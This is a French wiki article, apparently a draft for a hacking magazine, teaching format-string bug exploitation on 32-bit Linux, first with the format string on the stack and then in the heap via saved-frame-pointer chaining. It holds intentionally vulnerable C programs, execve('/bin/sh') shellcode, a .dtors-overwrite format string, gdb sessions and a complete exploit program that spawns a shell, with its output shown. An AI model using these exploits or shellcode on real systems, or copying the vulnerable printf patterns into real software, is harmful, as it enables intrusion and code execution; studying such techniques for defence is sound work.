THM9/Exploiter les format bugs dans le tas
Un article de HackaWiki.
Sommaire |
Exploiter les format bugs dans le tas
Maquette : Attention, deux articles à maquetter à la suite (le second devrait pouvoir tenir sur les deux ou trois dernières pages).
L'exploitation des bugs de formatage dans le tas est plus difficile que dans la pile : on ne contrôle pas directement les adresses de la mémoire que l'on peut faire modifier par printf ou sprintf. Cet article présente une technique qui permet de contourner ce problème.
Elite
By ezekiel
Dans cet article, nous allons étudier une technique d'exploitation des failles dites de "bug de chaîne de format". Cela requiert quelques connaissances préalables dans ce domaine et sur le fonctionnement de la pile lors de l'éxécution d'un programme, notamment durant l'appel, le prologue et l'épilogue d'une fonction (pour plus d'informations reportez-vous à la synthèse de Ouah [1], par exemple).
Nous allons tout d'abord faire quelques rappels et nous verrons la description d'une exploitation simple, dans lequel la chaîne de format se trouve dans la pile (stack). Ensuite, nous étudierons une technique d'exploitation, dérivée d'une technique de riq & gera présentée dans l'article "Advances in format string exploitation" de Phrack #59, pour le cas où la chaîne de format se situe dans le tas (ou heap, i.e. allouée par un appel à malloc).
N.B.Tous les tests ont été efféctués sur une Debian 3.0 avec gcc 2.95.4 et la libc 2.2.5
Rappels : format bug dans la pile
Soit le programme vulnérable suivant:
------ vuln_simple.c -------
/*
* simple stack-based format string bug
*/
#include <stdio.h>
int main(int argc, char *argv[]){
char buffer[256];
if (argc < 2)
exit(1);
strncpy(buffer, argv[1], 256);
printf(buffer);
return(0);
}
--------- EOF --------------
On compile :
$ gcc -o vuln_simple vuln_simple.c -ggdb
Le buffer dans lequel la chaîne de format va être convertie étant sur la pile, on est dans le cas d'une exploitation très simple.
On recherche donc le numéro de paramètre à partir duquel on retombe sur la chaîne de format elle-même (voir encadré) :
$ ./vuln_simple 'AAAA %6$x' AAAA 41414141
Ouais, du premier coup...Bon, d'accord, j'ai un peu triché : j'ai dû faire plusieurs essais ;P L'offset est donc 6. Maintenant que l'on connait l'offset, on va mettre un shellcode dans l'environnement pour pouvoir jumper dessus.
$ export SHELLCODE=`echo -e "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68 \x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"`
On va exploiter le programme vulnérable directement sous gdb:
$ gdb vuln_simple
[...]
(gdb) b *main
Breakpoint 1 at 0x8048460: file vuln_simple.c, line 7.
(gdb) r AAAA
Starting program: /home/ezekiel/papers/zezek/vuln_simple AAAA
Breakpoint 1, main (argc=134513760, argv=0x2) at vuln_simple.c:7
7 {
(gdb) x/s 0xbfffff16
0xbfffff16: "SHELLCODE=1APh//shh/bin\211aPS\211á\231°\vI\200"
(gdb) x/s 0xbfffff20
0xbfffff20: "1APh//shh/bin\211aPS\211á\231°\vI\200"
L'adresse de notre shellcode est donc 0xbfffff20. Maintenant que l'on sait ce qu'on doit écrire, il reste à savoir où. On a plusieurs possibilités pour les adresses à écraser, comme, par exemple, la section __deregister_frame_info ou la section .dtors.
C'est cette dernière que l'on a choisi, récupérons son adresse:
$ objdump -x vuln_simple | grep dtors 18 .dtors 00000008 08049634 08049634 00000634 2**2 08049634 l d .dtors 00000000 [...]
Le début de la section .dtors est à l'adresse 0x08049634, on va donc écrire à l'adresse 0x08049634 + 4 (voir [4]).
On récapitule : on va écrire 0xbfff en 0x0804963a et 0xff16 en 0x08049638 construisons notre chaine de format sous gdb:
(gdb) r `echo -e '\x3a\x96\x04\x08\x38\x96\x04\x08%49143u%6$hn%16161u%7$hn'` [...] Program received signal SIGTRAP, Trace/breakpoint trap. 0x400012d0 in _start () from /lib/ld-linux.so.2 (gdb) c Continuing. sh-2.05a$
niark niark ;)
Maintenant que l'on a vu la méthode "facile", on va regarder ce qui se passe si la chaîne de format est dans le tas plutot que dans la pile.
Format bug dans le tas
Dans cette section, on va tenter d'exploiter le programme vulnérable suivant :
------ heap_fmt.c --------
#include <stdio.h>
void vuln(char *s){
char *niark = (char *)malloc(1024);
snprintf(niark, 1024, s);
free(niark);
}
int main(int argc, char *argv[]){
char *buf;
if (argc > 2) exit(1);
buf = strdup(argv[1]);
vuln(buf);
return(0);
}
--------------------------
Avant de parler de la technique d'exploitation, on peut deja voir deux choses importantes:
- le buffer buf est dans le tas (strdup effectue un appel à malloc() ), donc le paramètre s de vuln aussi, comme prévu ;)
- buf n'est pas affiché à l'écran, on ne peut donc voir son contenu qu'a l'aide de gdb
On suppose aussi que, pour l'exploitation, on ne peut fournir qu'une seule chaîne de format au programme vulnérable. La technique de gera & riq (voir l'article [2]) consiste a générer des pointeurs a l'aide des saved ebp se trouvant sur la stack. Le saved ebp d'une fonction appellée pointe sur le saved ebp de la frame de la fonction appelante. C'est ici que les choses deviennent intéressantes =)
La technique consiste donc a utiliser cette propriété pour générer des pointeurs, que l'on pourra ensuite utiliser pour écrire la valeur de notre choix à l'endoit de notre choix(sur un saved ebp ou un saved eip, par exemple).
Le frame pointer est ton ami
Prenons un exemple concret : si l'on veut écrire à l'adresse 0xbadc0ded, on va générer un pointeur sur cette adresse de la façon suivante.
Notation :
LSB = Least Significant Bytes (Octets de poids faible)
MSB = Most Significant Bytes (Octets de poids fort)
1 - utiliser la frame B, qui pointe déjà sur la frame C, pour écrire sur le LSB de celle ci.
Maquette : attention aux couleurs rouge/bleu
[ LSB | MSB ] ---> [ LSB | MSB ] ---> [ LSB | MSB ]
[ ] [ ] [ ]
[ ] [ ] [ ]
[ ... ] [ ... ] [ ... ]
Frame A Frame B Frame C
...devient :
[ LSB | MSB ] ---> [ LSB | MSB ] ---> [ 0ded| MSB ]
[ ] [ ] [ ]
[ ] [ ] [ ]
[ ... ] [ ... ] [ ... ]
Frame A Frame B Frame C
2 - grâce a la frame A, modifier le LSB de la frame B pour la faire pointer sur le MSB de la frame C (i.e. on l'incrémente de 2, sur une architecture 32 bits)
+----------+ | V [ LSB | MSB ] ---> [LSB+2| MSB ] --+ [ 0ded| MSB ] [ ] [ ] [ ] [ ] [ ] [ ] [ ... ] [ ... ] [ ... ] Frame A Frame B Frame C
3 - du coup on peut modifier le MSB de la frame C
+----------+
| V
[ LSB | MSB ] ---> [LSB+2| MSB ] --+ [ 0ded| badc]
[ ] [ ] [ ]
[ ] [ ] [ ]
[ ... ] [ ... ] [ ... ]
Frame A Frame B Frame C
--> on a bien 0xbadc0ded sur le ebp de la frame C, on peut maintenant l'utiliser pour écrire 2 bytes (avec %hn) à cette adresse.
Le problème sur Linux
En fait, gera & riq utilisent abondamment l'option de "direct parameter access" (i.e. %m$) pour générer leurs pointeurs, le problème c'est que leur technique ne fonctionne pas sous Linux. En effet, pour écrire à une adresse donnée ils générent un pointeur grace à leur technique et réutilisent ce pointeur en y accédant par %m$, tout ça dans la même chaîne de format. Sous Linux, cela est impossible car vsnprintf, qui est la fonction interne à toutes les fonctions de la famille de printf (snprintf, sprintf, fprintf, etc...), sauvegarde les valeurs des paramètres avant l'appel. Ce qui fait que si l'on génére un pointeur, on ne pourra pas l'utiliser pour écrire en "direct parameter access", car on ne pourra accéder qu'à l'ancienne valeur du paramètre.
Vérifions cela grâce a notre programme d'exemple:
On met un breakpoint juste après l'appel à snprintf() pour pouvoir observer l'état de la pile après coup. On observe :
Maquette : il est possible de couper les suites de xxxxxx. Mais éviter de couper le reste.
[...]
Saved registers:
ebp at 0xbffffb1c, eip at 0xbffffb20
(gdb) x/40x $esp
[...]
0xbffffb14: (...) 0x080497a8 A [ 0xbffffb4c ]-+ ...
0xbffffb24: ... 0xbffffb48 0x080484b9 | ...
0xbffffb34: ... 0xbffffb58 0x40043f18 | ...
0xbffffb44: ... 0x08049768 B+-[ 0xbffffb88 ]<+ ...
[...] |
0xbffffb84: ... C[ 0x00000000 ]<-+ 0x08048411 (...)
Le saved ebp de la frame A pointe donc sur le saved ebp de la frame B, comme prévu. On va écrire la valeur hexadécimale 0xc0de (49374 en base 10) sur la frame B en utilisant la frame A, et ensuite essayer d'utiliser le pointeur construit pour écrire la même valeur à l'adresse 0xbfffc0de
(gdb) r '%.49374u%8$hn%20$hn xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' # [...] (gdb) x/40x $esp 0xbffffaf4: (...) 0x00000400 0x08049768 ... 0xbffffb04: ... 0x400135cc 0xbffffbb4 ... 0xbffffb14: ... 0x080497a8 A [ 0xbffffb4c ]-+ ... 0xbffffb24: ... 0xbffffb48 0x080484b9 | ... 0xbffffb34: ... 0xbffffb58 0x40043f18 | ... 0xbffffb44: ... 0x08049768 B+-[ 0xbfffc0de ]<+ ... [...] | 0xbffffb84: ... 0x0000c0de ? | 0x08048411 (...) (gdb) x/x 0xbfffc0de | 0xbfffc0de: 0x00000000 <-----+
Le LSB du saved ebp de la frame B a bien été modifié en 0xc0de. Par contre, la valeur pointée par le nouveau saved ebp de la frame B n'a pas changée car, comme expliqué ci-dessus, snprintf a utilisé une valeur qu'il avait sauvegardée.
N.B: les xxx servent de padding pour avoir un argument de même taille qu'au-dessus et ainsi retrouver les mêmes valeurs. En effet, les adresses de frame changent selon la taille des arguments et de l'environnement, car ceux-ci sont stockés dans le bas de la pile.
Exploitation
Il est temps de parler de la technique d'exploitation proprement dite :). La technique de riq & gera ne fonctionnant pas directement sous Linux, il nous faut la modifier un peu pour pouvoir exploiter ce programme vulnérable. L'idée est donc la suivante:
La figure 1 représente l'état de la pile avant la conversion de la chaîne de format.
Illustration (même page que paragraphe précédent)
Légende : Figure 1
Image heapfmt_figure1.png
Puisque l'on ne peut pas utiliser le "direct parameter access", on ne peut accéder aux valeurs de la pile qu'en les "popant" (i.e. avec des %x successifs). Donc on va poper les valeurs de la pile jusqu'à arriver au saved ebp de la frame A, que l'on va utiliser pour écrire sur le saved ebp de la frame B et faire pointer ce dernier sur le saved ebp de la frame A (figure 2).
Illustration (même page que paragraphe précédent)
Légende : Figure 2
Image heapfmt_figure2.png
Ensuite on va poper les valeurs de la pile jusqu'a la frame B et on va l'utiliser pour réécrire le LSB du saved ebp de la frame A pour le faire pointer dans l'environnement dans lequel on mettra l'adresse de notre shellcode et notre shellcode lui-même (figure 3). Ici on est dans le cas d'un "frame pointer overwriting", cette technique, qui est maintenant un classique, a été bien expliquée par klog dans [3].
Illustration (même page que paragraphe précédent)
Légende : Figure
Image heapfmt_figure3.png
Création de l'exploit
Pour pouvoir exploiter le programme vulnérable, il nous faut l'adresse de la frame A, qui ne sera pas la même que dans l'exemple ci-dessus. En effet, l'environnement n'étant pas le même, les adresses de frame seront décalées, nous allons donc imposer l'environnement d'éxécution en appelant le programme vulnérable à partir d'un 'faux' exploit :
------ fake_sploit.c -------
#include <stdio.h>
#include <stdlib.h>
#define FMT_SIZE 256
#define VULN "heap_fmt"
char shellcode[] = "AAAABBBB"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
int main(int argc, char *argv[]){
char fake_fmt[FMT_SIZE];
char *args[] = { VULN, fake_fmt, NULL };
char *env[] = { shellcode, NULL };
memset(fake_fmt, 'A', FMT_SIZE);
fake_fmt[FMT_SIZE - 1] = 0;
execve(VULN, args, env);
/* never reached */
return(0);
}
----------------------------
N.B.Les 'A' qui ont été mis au début du shellcode seront remplacés dans l'exploit par un ebp bidon, et les 'B' seront remplacés par l'adresse de notre shellcode (pour ceux qui ne voient pas pourquoi, je vous invite à relire le paper de klog deja cité ci-dessus). On recupère l'adresse avec gdb :
[ezekiel@psyche zezek]$ gdb fake_sploit [...] (gdb) r [...]
On charge les symboles du programme vulnérable:
(gdb) symbol-file heap_fmt Reading symbols from heap_fmt...done. (gdb) b *vuln+48 Breakpoint 1 at 0x8048500: file heap_fmt.c, line 5. (gdb) c Continuing. Breakpoint 1, 0x08048500 in vuln (s=0x8049768 'A' <repeats 200 times>...) at heap_fmt.c:5 5 snprintf(niark, 1024, s);
On a placé le breakpoint au même endroit que tout à l'heure, c'est à dire juste après le retour du snprintf (). L'adresse de notre frame A doit se trouver dans ebp.
(gdb) i r ebp ebp 0xbffffd9c 0xbffffd9c
Voila notre adresse =) c'est en fait l'adresse de la frame de la fonction vuln(). Assez tourné autour du pot, passons au code de l'exploit:
------ xpl_heap_fmt.c --------
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FMT_SIZE 256
#define VULN "heap_fmt"
#define COPY(x, y) *(void **)x = (void *)(y);x += 4
#define LSB(x) ((x) & 0xffff)
#define STACK 0xbffffffc
#define OFFSET_FRAMEA 8
#define OFFSET_FRAMEB 20
#define ADDRESS_FRAMEA 0xbffffd9c
#define DUMMY 0xbadc0ded
char shellcode[] = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
unsigned int calc_padding(unsigned int write_word,
unsigned int already_written){
/* Calcule le nombre de caractère à sortir pour que la valeur
écrite par le prochain %hn corresponde à write_word */
// [...]
}
int main(void){
char *fmt = (char *)malloc(FMT_SIZE);
char *egg = (char *)malloc(sizeof(shellcode) + 8);
unsigned long fake_frame =
STACK - sizeof(VULN) - (sizeof(shellcode) + 8);
int already_written = 0;
int already_poped = 0;
char *ptr = fmt;
char *args[] = { VULN, fmt, NULL };
char *env[] = { egg, NULL };
int pad;
int i;
/// poper jusqu'au saved ebp de la frame A
while(already_poped < OFFSET_FRAMEA - 2) {
strcpy(ptr, "%08x");
ptr += 4; already_written += 8; already_poped++;
}
/// l'utiliser pour écrire sur le saved ebp de la frame B
pad = calc_padding(LSB(ADDRESS_FRAMEA), already_written);
already_written += pad;
sprintf(ptr, "%%%dd%%hn%n", pad, &i);
already_poped += 2;
ptr += i;
/// poper jusqu'au saved ebp de la frame B
while(already_poped < OFFSET_FRAMEB - 2) {
strcpy(ptr, "%08x");
ptr += 4; already_written += 8; already_poped++;
}
/// utiliser le saved ebp de la frame B pour modifier
// le saved ebp de la frame A
pad = calc_padding(LSB(fake_frame), already_written);
already_written += pad;
sprintf(ptr, "%%%dd%%hn%n", pad, &i);
already_poped += 2;
ptr += i;
/// on rajoute du padding a la fin de la chaine
// de manière a avoir une longueur constante
memset(ptr, 'A', fmt + FMT_SIZE - ptr - 1);
ptr += fmt + FMT_SIZE - ptr - 1;
*ptr = 0;
ptr = egg;
COPY(ptr, DUMMY); //fake_ebp
COPY(ptr, fake_frame + 8); //fake_eip: adresse du shellc.
strcpy(ptr, shellcode);
fprintf(stdout, "Launching xploit!\n");
execve(VULN, args, env);
return(0);
}
---------------------------------
On compile :
[ezekiel@psyche zezek]$ gcc -o xpl_heap_fmt xpl_heap_fmt.c
Et on éxécute :
[ezekiel@psyche zezek]$ ./xpl_heap_fmt Launching xploit! sh-2.05a$
mmmhhh, ça a l'air de fonctionner comme prévu :)
Dans l'article qui suit, nous allons voir un autre exemple utilisant une technique similaire à celle qu'on vient de détailler.
Bibliographie :
[1]Exploitation avancée des buffer overflows par OUAH
http://ouah.kernsh.org/advbof.pdf
[2]Advances in format string exploitation par gera, riq
http://www.phrack.org/phrack/59/p59-0x07.txt
[3]The Frame Pointer Overwrite par klog
http://www.phrack.org/phrack/55/P55-08
[4]Overwriting the .dtors section par Juan M. Bello Rivas
http://www.synnergy.net/papers/dtors.txt
